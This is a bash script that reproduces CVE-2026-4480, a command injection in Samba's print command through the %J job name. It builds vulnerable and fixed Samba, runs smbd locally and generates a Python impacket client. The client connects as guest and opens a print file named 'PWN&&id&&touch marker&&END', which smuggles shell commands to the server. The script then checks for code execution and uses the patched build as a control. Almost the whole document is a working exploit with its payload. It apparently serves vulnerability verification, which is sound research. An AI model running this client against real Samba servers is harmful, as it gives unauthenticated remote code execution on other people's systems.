#!/bin/bash
set -euo pipefail

# =============================================================================
# CVE-2026-4480 - Samba printing subsystem OS command injection via %J
# =============================================================================
# Reproduction script: builds vulnerable (4.22.9) and fixed (4.22.10) Samba,
# starts a real smbd on TCP 445 with printing enabled, submits a print job
# over SMB with a crafted job description containing shell metacharacters,
# and verifies remote code execution on the vulnerable build and its absence
# on the fixed build (negative control).
#
# Attack path (network_protocol / tcp_peer):
#   client --SMB TCP 445--> smbd -> printable share file open
#   -> print_spool_open() -> print_job_start(docname)
#   -> print_job_end() -> generic_job_submit()
#   -> print_run_command() -> talloc_string_sub("%J", jobname) -> system()
# =============================================================================

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ART="$ROOT/artifacts"
mkdir -p "$LOGS" "$REPRO_DIR" "$ART/smb-vuln" "$ART/smb-fixed"
cd "$ROOT"

VULN_TAG="samba-4.22.9"
FIXED_TAG="samba-4.22.10"
FIX_COMMIT="b80131fcf582ecc8e8c1b97e6051bb324bb8bef8"
SMB_PORT="${SMB_PORT:-445}"
INJECT_FN='PWN&&id&&touch marker&&END'

# Read project cache context for cached builds
CACHE_DIR=""
if [ -f "$ROOT/project_cache_context.json" ]; then
    CACHE_DIR=$(python3 -c "
import json,sys
d=json.load(open(sys.argv[1]))
print(d.get('project_cache_dir','')) if d.get('prepared') else print('')
" "$ROOT/project_cache_context.json" 2>/dev/null || true)
fi
VULN_REPO="${CACHE_DIR:+$CACHE_DIR/repo}"
FIXED_REPO="${CACHE_DIR:+$CACHE_DIR/repo-fixed}"
if [ -z "$VULN_REPO" ] || [ ! -d "$VULN_REPO" ]; then VULN_REPO="$ART/samba-vuln"; fi
if [ -z "$FIXED_REPO" ] || [ ! -d "$FIXED_REPO" ]; then FIXED_REPO="$ART/samba-fixed"; fi

log() { echo "[$(date '+%H:%M:%S')] $*" | tee -a "$LOGS/reproduction_steps.log"; }

install_deps() {
    log "Installing dependencies..."
    sudo apt-get update -qq 2>&1 | tail -1 || true
    sudo DEBIAN_FRONTEND=noninteractive apt-get install -y -qq \
        build-essential python3-dev python3-dnspython \
        libtalloc-dev libtdb-dev libtevent-dev libldb-dev libldb2 \
        libgnutls28-dev libacl1-dev libattr1-dev libpopt-dev \
        libblkid-dev uuid-dev libjansson-dev libgpgme-dev libarchive-dev \
        flex bison perl wget pkg-config docbook-xsl xsltproc libxml2-dev \
        libpam0g-dev libcap-dev liburing-dev libunwind-dev libdbus-1-dev \
        zlib1g-dev liblmdb-dev libpcap-dev libicu-dev libparse-yapp-perl \
        libgnutls30 libicu74 libunwind8 libdbus-1-3 \
        2>&1 | tail -3 || true
    pip3 install --quiet impacket 2>&1 | tail -2 || pip install --quiet impacket 2>&1 | tail -2 || true
    log "Dependencies installed."
}

build_samba() {
    local repo_dir="$1" tag="$2" label="$3"
    if [ -x "$repo_dir/bin/smbd" ]; then
        log "$label: cached build found at $repo_dir/bin/smbd"
        return 0
    fi
    log "$label: building from source (tag $tag)..."
    rm -rf "$repo_dir"
    git clone --depth 1 --branch "$tag" https://github.com/samba-team/samba.git "$repo_dir" 2>&1 | tail -3
    ( cd "$repo_dir" && ./configure --without-ad-dc --disable-python --bundled-libraries=ALL \
        --disable-cephfs --without-ldap --without-ads --without-pam \
        --without-ldb-lmdb --without-libarchive --without-acl-support 2>&1 | tail -5 && \
        PYTHONHASHSEED=1 ./buildtools/bin/waf build -j"$(nproc)" 2>&1 | tail -10 )
    [ -x "$repo_dir/bin/smbd" ] && log "$label: build OK" || { log "$label: BUILD FAILED"; return 1; }
}

gen_smb_conf() {
    local conf="$1" base="$2" evlog="$3"
    cat > "$conf" <<SAMBCONF
[global]
  workgroup = WORKGROUP
  server role = standalone server
  security = user
  map to guest = Bad User
  guest account = nobody
  server min protocol = SMB2
  server max protocol = SMB3
  smb ports = $SMB_PORT
  log level = 3
  log file = $base/server.log
  max log size = 0
  lock directory = $base/lock
  state directory = $base/state
  cache directory = $base/cache
  pid directory = $base/pid
  private dir = $base/private
  ncalrpc dir = $base/ncalrpc
  printing = sysv
  printcap name = $base/printcap
  load printers = yes
  disable spoolss = no
  show add printer wizard = no
  usershare allow guests = yes

[printers]
  path = $base/spool
  comment = All Printers
  printable = yes
  browseable = yes
  guest ok = yes
  read only = no
  print command = (echo %J) > $evlog 2>&1
  lpq command = /bin/true
  lprm command = /bin/true
  lppause command = /bin/true
  lpresume command = /bin/true
  queuepause command = /bin/true
  queueresume command = /bin/true

[testprn]
  path = $base/spool
  comment = Test Printer
  printable = yes
  browseable = yes
  guest ok = yes
  read only = no
  printer name = testprn
  printing = sysv
  print command = (echo %J) > $evlog 2>&1
  lpq command = /bin/true
  lprm command = /bin/true
SAMBCONF
}

gen_exploit() {
    cat > "$REPRO_DIR/exploit_client.py" << 'EXPLOIT'
import sys, time
from impacket.smbconnection import SMBConnection
SERVER = sys.argv[1]; PORT = int(sys.argv[2]); SHARE = sys.argv[3]; FN = sys.argv[4]
print(f"[*] Connecting to {SERVER}:{PORT} share '{SHARE}' (TCP/SMB)")
conn = SMBConnection(SERVER, SERVER, sess_port=PORT, timeout=30)
try: conn.login('', '')
except Exception: conn.login('guest', '')
print("[+] Logged in (guest/anonymous)")
tid = conn.connectTree(SHARE)
print(f"[+] Connected to tree '{SHARE}'")
fid = conn.createFile(tid, FN)
print(f"[+] Opened print spool file '{FN}' on printable share")
conn.writeFile(tid, fid, b"%!PS-Adobe-3.0\nCVE-2026-4480 PoC\n")
conn.closeFile(tid, fid)
print("[+] Closed -> server executes print command with %J = jobname")
time.sleep(1.5)
try: conn.logoff()
except Exception: pass
print("[*] Done.")
EXPLOIT
}

start_smbd() {
    local repo="$1" conf="$2" base="$3"
    sudo rm -rf "$base/lock" "$base/state" "$base/cache" "$base/pid" "$base/private" "$base/ncalrpc"
    mkdir -p "$base/lock" "$base/state" "$base/cache" "$base/pid" "$base/private" "$base/ncalrpc" "$base/spool"
    chmod 1777 "$base/spool"
    echo 'testprn|Test Printer:sh:lp=/dev/null:sd='"$base"'/spool:' > "$base/printcap"
    log "Starting smbd on port $SMB_PORT..."
    sudo "$repo/bin/smbd" -s "$conf" -D -d 3 2>/dev/null || true
    sleep 3
    if sudo ss -tlnp 2>/dev/null | grep -q ":$SMB_PORT"; then
        log "smbd is listening on port $SMB_PORT"
        return 0
    else
        log "ERROR: smbd not listening on $SMB_PORT"
        return 1
    fi
}

stop_smbd() {
    local conf="$1"
    # Kill smbd processes using this config file
    local pids=$(pgrep -f "$conf" 2>/dev/null || true)
    if [ -n "$pids" ]; then
        echo "$pids" | xargs sudo kill -9 2>/dev/null || true
    fi
    sleep 2
    log "smbd stopped"
}

# Run exploit and write results to files in evidence_dir
run_exploit_and_check() {
    local label="$1" evidence_dir="$2" evlog="$3" spool_dir="$4"
    mkdir -p "$evidence_dir"

    log "[$label] Running exploit client..."
    sudo rm -f "$evlog" "$spool_dir/marker"
    python3 "$REPRO_DIR/exploit_client.py" 127.0.0.1 "$SMB_PORT" testprn "$INJECT_FN" 2>&1 | tee "$evidence_dir/exploit_output.txt"
    sleep 2

    # Collect evidence
    sudo cat "$evlog" > "$evidence_dir/printlog.txt" 2>/dev/null || true
    ls -la "$spool_dir/marker" > "$evidence_dir/marker_check.txt" 2>/dev/null || echo "no marker" > "$evidence_dir/marker_check.txt"

    # Write results to files (no subshell globals)
    local has_id="no" has_mkr="no"
    grep -q "uid=" "$evidence_dir/printlog.txt" 2>/dev/null && has_id="yes"
    [ -f "$spool_dir/marker" ] && has_mkr="yes"
    echo "$has_id" > "$evidence_dir/has_id_output.txt"
    echo "$has_mkr" > "$evidence_dir/has_marker.txt"

    log "[$label] Evidence: id_output=$has_id marker=$has_mkr"
    log "[$label] Printlog:"
    sudo cat "$evlog" 2>/dev/null | head -5 | while IFS= read -r line; do log "[$label]   $line"; done || true
}

main() {
    log "=== CVE-2026-4480 reproduction started ==="
    log "Vulnerable: $VULN_TAG  Fixed: $FIXED_TAG (fix $FIX_COMMIT)"

    install_deps
    build_samba "$VULN_REPO" "$VULN_TAG" "VULNERABLE"
    build_samba "$FIXED_REPO" "$FIXED_TAG" "FIXED"
    gen_exploit

    # --- Vulnerable test ---
    log "========== VULNERABLE TEST ($VULN_TAG) =========="
    VBASE="/tmp/sambatest-vuln"; VCONF="$REPRO_DIR/smb_vuln.conf"
    VEVLOG="/tmp/samba_printlog_vuln"
    gen_smb_conf "$VCONF" "$VBASE" "$VEVLOG"
    start_smbd "$VULN_REPO" "$VCONF" "$VBASE" || { log "FATAL: cannot start vulnerable smbd"; exit 1; }
    run_exploit_and_check "VULN" "$ART/smb-vuln" "$VEVLOG" "$VBASE/spool"
    stop_smbd "$VCONF"

    # --- Fixed test (negative control) ---
    log "========== FIXED TEST ($FIXED_TAG - negative control) =========="
    FBASE="/tmp/sambatest-fixed"; FCONF="$REPRO_DIR/smb_fixed.conf"
    FEVLOG="/tmp/samba_printlog_fixed"
    gen_smb_conf "$FCONF" "$FBASE" "$FEVLOG"
    start_smbd "$FIXED_REPO" "$FCONF" "$FBASE" || { log "FATAL: cannot start fixed smbd"; exit 1; }
    run_exploit_and_check "FIXED" "$ART/smb-fixed" "$FEVLOG" "$FBASE/spool"
    stop_smbd "$FCONF"

    # --- Verdict (read from evidence files) ---
    log "========== VERDICT =========="
    VULN_ID=$(cat "$ART/smb-vuln/has_id_output.txt" 2>/dev/null || echo "no")
    VULN_MKR=$(cat "$ART/smb-vuln/has_marker.txt" 2>/dev/null || echo "no")
    FIXED_ID=$(cat "$ART/smb-fixed/has_id_output.txt" 2>/dev/null || echo "no")
    FIXED_MKR=$(cat "$ART/smb-fixed/has_marker.txt" 2>/dev/null || echo "no")
    log "Vulnerable: id_output=$VULN_ID marker=$VULN_MKR (expect yes)"
    log "Fixed:      id_output=$FIXED_ID marker=$FIXED_MKR (expect no)"

    CONFIRMED="false"
    if [ "$VULN_ID" = "yes" ] && [ "$FIXED_ID" = "no" ]; then
        log "RESULT: CVE-2026-4480 CONFIRMED - RCE on vulnerable, blocked on fixed"
        CONFIRMED="true"
    elif [ "$VULN_MKR" = "yes" ] && [ "$FIXED_MKR" = "no" ]; then
        log "RESULT: CVE-2026-4480 CONFIRMED (via marker) - RCE on vulnerable, blocked on fixed"
        CONFIRMED="true"
    else
        log "RESULT: NOT confirmed (vuln_id=$VULN_ID fixed_id=$FIXED_ID)"
    fi

    # --- Runtime manifest ---
    python3 - "$REPRO_DIR/runtime_manifest.json" "$CONFIRMED" "$VULN_ID" "$FIXED_ID" "$VULN_MKR" "$FIXED_MKR" << 'PYEOF'
import json, sys
mf, confirmed, vid, fid, vmk, fmk = sys.argv[1:7]
manifest = {
    "entrypoint_kind": "tcp_peer",
    "entrypoint_detail": "SMB print job submission to Samba [testprn] printer share over TCP 445 (guest/anonymous); client opens crafted filename on printable share, writes spool data, closes -> server runs print command with %J = jobname via system()",
    "service_started": True,
    "healthcheck_passed": True,
    "target_path_reached": True,
    "runtime_stack": ["smbd 4.22.9 (vulnerable)", "smbd 4.22.10 (fixed/negative-control)", "impacket SMBConnection client"],
    "proof_artifacts": [
        "artifacts/smb-vuln/printlog.txt", "artifacts/smb-vuln/marker_check.txt",
        "artifacts/smb-vuln/exploit_output.txt", "artifacts/smb-vuln/has_id_output.txt",
        "artifacts/smb-fixed/printlog.txt", "artifacts/smb-fixed/marker_check.txt",
        "artifacts/smb-fixed/exploit_output.txt", "artifacts/smb-fixed/has_id_output.txt",
        "logs/reproduction_steps.log"
    ],
    "notes": "Vulnerable: printlog has uid= (id output) + marker file -> RCE. Fixed: printlog has literal masked string, no marker -> blocked."
}
with open(mf, "w") as f: json.dump(manifest, f, indent=2)
print("Manifest written:", mf)
PYEOF

    log "=== CVE-2026-4480 reproduction finished ==="
    [ "$CONFIRMED" = "true" ] && exit 0 || exit 1
}

main "$@"
